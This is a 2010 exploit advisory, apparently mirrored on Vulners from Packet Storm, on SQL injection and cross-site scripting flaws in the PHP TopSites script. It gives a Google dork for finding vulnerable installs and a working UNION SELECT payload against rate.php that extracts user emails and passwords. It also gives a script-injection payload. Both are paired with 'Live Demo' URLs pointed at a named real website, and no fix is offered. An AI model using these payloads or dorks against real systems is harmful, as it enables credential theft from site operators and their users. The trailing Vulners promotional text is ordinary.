Lucene search
K

PHP Top Sites Cross Site Scripting / SQL Injection

🗓️ 13 Dec 2010 00:00:00Reported by kAsveeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

PHP Top Sites Multiple SQL/XSS Vulnerability. Vulnerable versions: All. Google Dork: "Powered By PHP TopSites". Can be downloaded from http://webscripts.softpedia.com/script/Top-Sites/PHP-TopSites-41994.htm

Code
`  
<------------------- header data start ------------------- >  
#############################################################  
PHP Top Sites Multiple SQL/XSS Vulnerability   
#############################################################  
  
# Author : kAsvææ | c0de Hunters  
  
# Name : PHP Top Sites  
  
# Bug Type : SQL/XSS  
  
# Version :All  
  
# Google Dork:"Powered By PHP TopSites"  
  
# Home Page : http://itop10.net/  
  
# You can download it : http://webscripts.softpedia.com/script/Top-Sites/PHP-TopSites-41994.html  
  
  
  
#############################################################  
< ------------------- header data end of ------------------- >  
  
< -- bug code start -- >  
  
SQL : "rate.php" (String SQL Injection)  
  
[EXPLOIT] : rate.php?site=-999.9%27%20UNION%20ALL%20SELECT%20%28SELECT%20concat%280x7e,group_concat%28top_user.email,0x7e,top_user.password%29,0x7e%29%20FROM%20%60topfunsites_com_-_topsites%60.top_user%29%20,null%20and%20%27x%27=%27x  
  
  
[Live Demo] : http://www.topfunsites.com/topsites/rate.php?site=-999.9%27%20UNION%20ALL%20SELECT%20%28SELECT%20concat%280x7e,group_concat%28top_user.email,0x7e,top_user.password%29,0x7e%29%20FROM%20%60topfunsites_com_-_topsites%60.top_user%29%20,null%20and%20%27x%27=%27x  
  
  
XSS : "rate.php"  
  
[EXPLOIT] : rate.php?site="'><script>alert('xss')</script>  
  
[Live Demo] : http://www.topfunsites.com/topsites/rate.php?site=%22%27%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E  
  
  
< -- bug code end of -- >   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation